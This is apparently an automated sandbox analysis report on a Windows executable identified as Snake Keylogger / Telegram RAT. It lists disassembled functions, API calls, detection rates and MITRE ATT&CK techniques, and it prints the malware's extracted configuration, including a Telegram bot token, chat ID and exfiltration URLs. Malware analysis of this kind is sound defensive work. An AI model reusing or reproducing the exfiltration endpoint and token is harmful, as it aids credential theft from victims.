Instruction ID: 89c359c09980e419ed6072e5f8abe1c753d58cfce0e284f1f60f6b242aa3f01d
Opcode Fuzzy Hash: d64f0ffc222ca28fac6281598506fa0fd3b2d0ad39dd145f53cb7d5369545d50
Instruction Fuzzy Hash: 24415BB1D016188BEB58CF6BC9557C9FBF3AFC9304F14C1AAC50CA6265DB7409868F51

Uniqueness

Uniqueness Score: -1.00%

Function 04EC3CB8 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.738925084.0000000004EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ec0000_0OZQi3b0tM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3a87dd2377d2c547e02935137d26766b996d0c417ef41e54d8d8605a3f366a5
Instruction ID: db4cfae174d583bcfdfb0524300aa47a7f2ed2216b83212ca05d1a56b20e4819
Opcode Fuzzy Hash: d3a87dd2377d2c547e02935137d26766b996d0c417ef41e54d8d8605a3f366a5
Instruction Fuzzy Hash: 37415871E016188BEB58CF6BC9457CAFBF3AFC8304F14C1AAC50CA6265DB740A868F11

Uniqueness

Uniqueness Score: -1.00%

Function 04EC4F9F Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.738925084.0000000004EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ec0000_0OZQi3b0tM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62d49e2b0ec4787c4d2a86f0e2d2448bdecefe5d30ee37b3f676c8e5b27f4066
Instruction ID: 32729f6e74adbd9e89e88ce9756e07f81347b01a60ac2b18472276e7d99e9e5f
Opcode Fuzzy Hash: 62d49e2b0ec4787c4d2a86f0e2d2448bdecefe5d30ee37b3f676c8e5b27f4066
Instruction Fuzzy Hash: F3417971D016188BEB58CF6BC9447C9FBF3AFC9304F14C1AAC50CA6265DB740A868F51

Uniqueness

Uniqueness Score: -1.00%

Function 04EC3018 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.738925084.0000000004EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ec0000_0OZQi3b0tM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95aa48fb8a85a966cbe021eb7aa4ad55c3146077e1f65ea1ee9365b9c93710c9
Instruction ID: 2a87229421c023de2ca2fe0d23ce247b40926aa64ebad434513e4bd154ac01c5
Opcode Fuzzy Hash: 95aa48fb8a85a966cbe021eb7aa4ad55c3146077e1f65ea1ee9365b9c93710c9
Instruction Fuzzy Hash: 4C4148B1D016188BEB58CF6BD9557C9FBF3AFC8304F14C1AAC50CA6265DB740A868F51

Uniqueness

Uniqueness Score: -1.00%

Function 00C66B78 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.736812449.0000000000C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_0OZQi3b0tM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6feccb6982de8acbf9c381a732e1099ccd0ee11217b80b10ae7129297803b516
Instruction ID: a7a9546f64c89ad6966fe665eec4d756792b5bc7a368de969dfbedbd88893325
Opcode Fuzzy Hash: 6feccb6982de8acbf9c381a732e1099ccd0ee11217b80b10ae7129297803b516
Instruction Fuzzy Hash: 0E31FA71D056189BDB28CFABD8847DDFBF2BF89314F14C26AD418A72A4DB7509468F10

Uniqueness

Uniqueness Score: -1.00%

Function 04ECBFC0 Relevance: 1.8, APIs: 1, Instructions: 279
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.738925084.0000000004EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ec0000_0OZQi3b0tM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 364c7100b0ded1b02c659dcbceabba880b4092dac1f67619e08467f57acc8cf3
Instruction ID: df90eee931398fb13b9dbc27c855b427dcee5c7781b35a1e72895744c9057b90
Opcode Fuzzy Hash: 364c7100b0ded1b02c659dcbceabba880b4092dac1f67619e08467f57acc8cf3
Instruction Fuzzy Hash: 6D917FB5C04788DFDF12CFA9C981999BFB1EF49304F25819EE448AB212D335A947CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00C63450 Relevance: 1.7, APIs: 1, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 00C63506

Memory Dump Source

Source File: 00000000.00000002.736812449.0000000000C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_0OZQi3b0tM.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 4f76841e0f58f7247b6751ade59ccc566a49bc9af940d98615d56269ed5a3d47
Instruction ID: e8f614dc155a398d2cecc0aafecfbf5cc891edf21f84c3500d5cd83a8d387f5d
Opcode Fuzzy Hash: 4f76841e0f58f7247b6751ade59ccc566a49bc9af940d98615d56269ed5a3d47
Instruction Fuzzy Hash: 5451003542174ACFD2046F72F9ADA7E7B71FB8F31B749AC35A40AA1060CB36444ACA52

Uniqueness

Uniqueness Score: -1.00%

Function 00C63460 Relevance: 1.7, APIs: 1, Instructions: 188
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 00C63506

Memory Dump Source

Source File: 00000000.00000002.736812449.0000000000C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_0OZQi3b0tM.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 1e4dcfbe90d56010b1b63741382101b83b1c0c8db35d03ae6c62a095d913b64f
Instruction ID: fbd89e4ffa85410580805f47c6f3dc6b0a800b839332487b74d8577b6aa39ceb
Opcode Fuzzy Hash: 1e4dcfbe90d56010b1b63741382101b83b1c0c8db35d03ae6c62a095d913b64f
Instruction Fuzzy Hash: 8151F27543174ACFD2046F62F9ADA7E7B71FB8F31B749AC31A41AA1060CB36444ACB52

Uniqueness

Uniqueness Score: -1.00%

Function 04ECB3C0 Relevance: 1.7, APIs: 1, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 04ECC22A

Memory Dump Source

Source File: 00000000.00000002.738925084.0000000004EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ec0000_0OZQi3b0tM.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: d41b52b4b75be720a54cd7da707e43e1bb1ddbbb474328d9db59441325486e06
Instruction ID: d3dc2ea6160a4828bfdd07231c3b1752768f7adc364693cdfc92a5eabcb3c6dc
Opcode Fuzzy Hash: d41b52b4b75be720a54cd7da707e43e1bb1ddbbb474328d9db59441325486e06
Instruction Fuzzy Hash: 3A5168B0C043489FDB11CFA9D890ADEBFB1BF49314F24856EE418AB251E774A846CF91

Uniqueness

Uniqueness Score: -1.00%

Function 04ECB3FC Relevance: 1.6, APIs: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 04ECC22A

Memory Dump Source

Source File: 00000000.00000002.738925084.0000000004EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ec0000_0OZQi3b0tM.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 53cb60ef6b12d712000cab5cd5fdadd3ab81fc9c8be86c2ab3df37384f6b1f1e
Instruction ID: 71dc33e43e864944ffa698e8974e7131c227a373d7b953325e9caebb9f0c81f3
Opcode Fuzzy Hash: 53cb60ef6b12d712000cab5cd5fdadd3ab81fc9c8be86c2ab3df37384f6b1f1e
Instruction Fuzzy Hash: 6551B1B1D003099FDF14CFE9D984ADEBBB5BF48314F24962AE819AB210D774A945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 04ECD854 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 04ECDEA1

Memory Dump Source

Source File: 00000000.00000002.738925084.0000000004EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ec0000_0OZQi3b0tM.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: bc4c7be7e89c1da6e0fcb7a69973121b46cf7214891491b0c438b9e3e1c4eacd
Instruction ID: 698d83f98f5871805d631c63016a9e40a82ab8520b73b9cfe4af57fc957ca66d
Opcode Fuzzy Hash: bc4c7be7e89c1da6e0fcb7a69973121b46cf7214891491b0c438b9e3e1c4eacd
Instruction Fuzzy Hash: 9F4119B4A00205CFDB14DF99C888EAABBF5FF88314F14945DD519A7321D735A942CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04ECB704 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,04ECCB9E,?,?,?,?,?), ref: 04ECCC5F

Memory Dump Source

Source File: 00000000.00000002.738925084.0000000004EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ec0000_0OZQi3b0tM.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 0ca041be287962112bb151bb9c383b5d461fb7d1b1a42d71b03f4e418086b083
Instruction ID: 2ac2acbf713a69b205b2c725f790b6853af47477959f2cc032bb5fda0e2dc41b
Opcode Fuzzy Hash: 0ca041be287962112bb151bb9c383b5d461fb7d1b1a42d71b03f4e418086b083
Instruction Fuzzy Hash: 4621E6B59002089FDB10CFA9D584ADEBBF9FB48324F14845AE919A3310D374A955DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04ECA874 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 04ECBB26

Memory Dump Source

Source File: 00000000.00000002.738925084.0000000004EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ec0000_0OZQi3b0tM.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 579d68727a745e4dbf102ebb1c20e1e3ccf829cb4609b3ea7300a0e1218958f2
Instruction ID: 2771c5e4d475929f45cf6413cf800941a4f0101a6a59bf0c408dde866da8dc3e
Opcode Fuzzy Hash: 579d68727a745e4dbf102ebb1c20e1e3ccf829cb4609b3ea7300a0e1218958f2
Instruction Fuzzy Hash: E911F0B5D006098FDB20CF9AD545BEEFBF4AF48224F14942AD829B7200D374A646CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04ECBABA Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 04ECBB26

Memory Dump Source

Source File: 00000000.00000002.738925084.0000000004EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ec0000_0OZQi3b0tM.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 2136f182231ebca049a1851f6a52779bc49841afb01a3515e910009d0f01b638
Instruction ID: 6c2d30cb2ad06d0ca37331ae8e3ba03585ad2676e411ad49767f9cd4567fc05b
Opcode Fuzzy Hash: 2136f182231ebca049a1851f6a52779bc49841afb01a3515e910009d0f01b638
Instruction Fuzzy Hash: E91104B5C006498FDB10CF9AD484BDEFBF5EF48324F14851AD429A7610C378A646CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04ECE009 Relevance: 1.5, APIs: 1, Instructions: 48timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00EC6190,?,?), ref: 04ECE06D

Memory Dump Source

Source File: 00000000.00000002.738925084.0000000004EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ec0000_0OZQi3b0tM.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: 451699d598c0d173921f92943262551a8e6080a591172bc078b0bc5b13223968
Instruction ID: b73a8a8c2aa820aa25220cbe952e9b41406f61683b77adc9f25de623ad85deac
Opcode Fuzzy Hash: 451699d598c0d173921f92943262551a8e6080a591172bc078b0bc5b13223968
Instruction Fuzzy Hash: 721103B58002099FDB10CF99D585BDEBBF8EB58324F148419D518A7600D378AA85CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04EC89D0 Relevance: 1.5, APIs: 1, Instructions: 47timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00EC6190,?,?), ref: 04ECE06D

Memory Dump Source

Source File: 00000000.00000002.738925084.0000000004EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ec0000_0OZQi3b0tM.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: 74203dbb85cef958678b59a17eb4984d7e53f00f83a10e5a2f2674a601ec74d4
Instruction ID: 8c0b0a22df2370c1c968b0758bba0d9d1127e9d5382c85ae02b6fb162d6835b0
Opcode Fuzzy Hash: 74203dbb85cef958678b59a17eb4984d7e53f00f83a10e5a2f2674a601ec74d4
Instruction Fuzzy Hash: C91103B58003089FDB20CF9AD589BDFBBF8EB48324F108419E918A7600D375A994CFE1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00C6DFE0 Relevance: 1.6, Strings: 1, Instructions: 367COMMON

Download Yara Rule

Strings

", xrefs: 00C6E4FE

Memory Dump Source

Source File: 00000000.00000002.736812449.0000000000C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_0OZQi3b0tM.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: def0662373ac5673aa0100f099ba33b2464ddc7becb84aaae02cea2b15ad39ac
Instruction ID: 484effa61d43b84c0479ff27e97686e55e2707d9767d8cc4ebad2ce33be18eb5
Opcode Fuzzy Hash: def0662373ac5673aa0100f099ba33b2464ddc7becb84aaae02cea2b15ad39ac
Instruction Fuzzy Hash: E0F1F374E002588FEB24CFA9C4987EDFBF6AF88314F24C16AD418AB295D7749985CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00C64AA8 Relevance: .6, Instructions: 596COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.736812449.0000000000C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_0OZQi3b0tM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a39c4ce8be9aa1425d307f82a9eb9dc3fe66ac84aec1e50758617d60503bdefa
Instruction ID: e24102aff5ea3dc611944783cb015738b600608fa67b45556e9f0cf6199b25c1
Opcode Fuzzy Hash: a39c4ce8be9aa1425d307f82a9eb9dc3fe66ac84aec1e50758617d60503bdefa
Instruction Fuzzy Hash: 9D528C74E01268CFDB64DFA5C984BDDBBB2BB89304F2085E9D409AB254DB319E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04EC8F10 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.738925084.0000000004EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ec0000_0OZQi3b0tM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 095cd1ed6021a82a87bfc35b2f49188b518bb035d00eee3d2ccdbba4adae886a
Instruction ID: 05ad182956389b9f8c89d9f99a5f7d6bf4379244ebd756a4860d1dc4f944a8a1
Opcode Fuzzy Hash: 095cd1ed6021a82a87bfc35b2f49188b518bb035d00eee3d2ccdbba4adae886a
Instruction Fuzzy Hash: 201291B2411F468ED314CF67EC889893BA1B795328B904728D2653AAF1D7B625CFCF44

Uniqueness

Uniqueness Score: -1.00%

Function 04EC8F00 Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.738925084.0000000004EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ec0000_0OZQi3b0tM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 021c2753a7e8c65ab4c14f767ab20e835d7a94361c9c4027e095e71623b5d5df
Instruction ID: ca42132e1a2f8e1e0a1ef6e1aab669def7f2fce3b9f6c397c41633d00e75231f
Opcode Fuzzy Hash: 021c2753a7e8c65ab4c14f767ab20e835d7a94361c9c4027e095e71623b5d5df
Instruction Fuzzy Hash: 0FC1E4B2811B468FD710DF67EC889897BA1BB95328B508728D1617B6E0D7B624CFCF44

Uniqueness

Uniqueness Score: -1.00%

Function 00C64A98 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.736812449.0000000000C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_0OZQi3b0tM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36b222b22130a21b4f78c266b6da4dfc94953adc0bb9ab2730afa798b374962b
Instruction ID: 15f9a303936e06fcacbd17df4cd2af6a81c0c8fe4675ab7ab7b3a75d7d62e8e3
Opcode Fuzzy Hash: 36b222b22130a21b4f78c266b6da4dfc94953adc0bb9ab2730afa798b374962b
Instruction Fuzzy Hash: F261D674E016598FDB38DFA6D844BADBBB7BB88300F10C5A9D40967358EB315A81DF40

Uniqueness

Uniqueness Score: -1.00%

Function 00C6DFD0 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.736812449.0000000000C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_0OZQi3b0tM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d08ee1483b16c23fd7ba4270ba3ea7d590ac4df9e7a2d6426821fc1a834db1fd
Instruction ID: 3314aa6352200938cb765a96467a19fa5edea794dd9854f8d26fa9b1274eaeff
Opcode Fuzzy Hash: d08ee1483b16c23fd7ba4270ba3ea7d590ac4df9e7a2d6426821fc1a834db1fd
Instruction Fuzzy Hash: 1441E8B5D012589FDB28CFAAD8883DEFBF2BF89314F14C12AD418AA294DB750945CF51

Uniqueness

Uniqueness Score: -1.00%

Source: 0.2.0OZQi3b0tM.exe.530000.0.unpack	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "Telegram", "Telegram Token": "5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c", "Telegram ID": "1856108848"}
Source: 0OZQi3b0tM.exe.7100.0.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendMessage"}

Source: 0OZQi3b0tM.exe, 00000000.00000002.739661705.000000000671A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: 0OZQi3b0tM.exe, 0OZQi3b0tM.exe, 00000000.00000002.737020624.0000000002821000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: 0OZQi3b0tM.exe	String found in binary or memory: http://checkip.dyndns.org/q
Source: 0OZQi3b0tM.exe, 00000000.00000002.737020624.0000000002821000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 0OZQi3b0tM.exe, 00000000.00000003.670353008.0000000002E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram
Source: 0OZQi3b0tM.exe	String found in binary or memory: https://api.telegram.org/bot
Source: 0OZQi3b0tM.exe, 00000000.00000002.737105124.0000000002867000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856
Source: 0OZQi3b0tM.exe, 00000000.00000002.737105124.0000000002867000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org4
Source: 0OZQi3b0tM.exe, 00000000.00000002.739661705.000000000671A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.orgD8

Source: 0OZQi3b0tM.exe	Virustotal: Detection: 73%	Perma Link
Source: 0OZQi3b0tM.exe	Metadefender: Detection: 48%	Perma Link
Source: 0OZQi3b0tM.exe	ReversingLabs: Detection: 88%

Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 4x nop then jmp 00C67507h	0_2_00C67196
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 4x nop then jmp 00C663D1h	0_2_00C66111
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 4x nop then jmp 00C6F539h	0_2_00C6F280
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 4x nop then jmp 00C68687h	0_2_00C683C9
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 4x nop then jmp 00C65F70h	0_2_00C65587
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 4x nop then jmp 00C6F991h	0_2_00C6F6D8
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 4x nop then jmp 00C66B10h	0_2_00C666F8
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 4x nop then jmp 00C67967h	0_2_00C676A8
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 4x nop then jmp 00C6EC8Ah	0_2_00C6E758
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 4x nop then jmp 00C67DC7h	0_2_00C67B08
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 4x nop then jmp 00C6FDE9h	0_2_00C6FB31
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 4x nop then jmp 00C6F0E1h	0_2_00C6EE29
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 4x nop then jmp 00C68227h	0_2_00C67F68
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 4x nop then jmp 00C66B10h	0_2_00C666E8
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	0_2_00C64AA8
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 4x nop then jmp 00C66B10h	0_2_00C66A3E
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 4x nop then jmp 04EC0741h	0_2_04EC0498
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 4x nop then jmp 04EC02E9h	0_2_04EC0040
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 4x nop then jmp 04EC0B99h	0_2_04EC08F0

Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org

Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	DNS query: name: checkip.dyndns.org

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as Ping or `net view` using Net . Adversaries may also use local host files (ex: `C:\Windows\System32\Drivers\etc\hosts` or `/etc/hosts` ) in order to discover the hostname to IP address mappings of remote systems.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

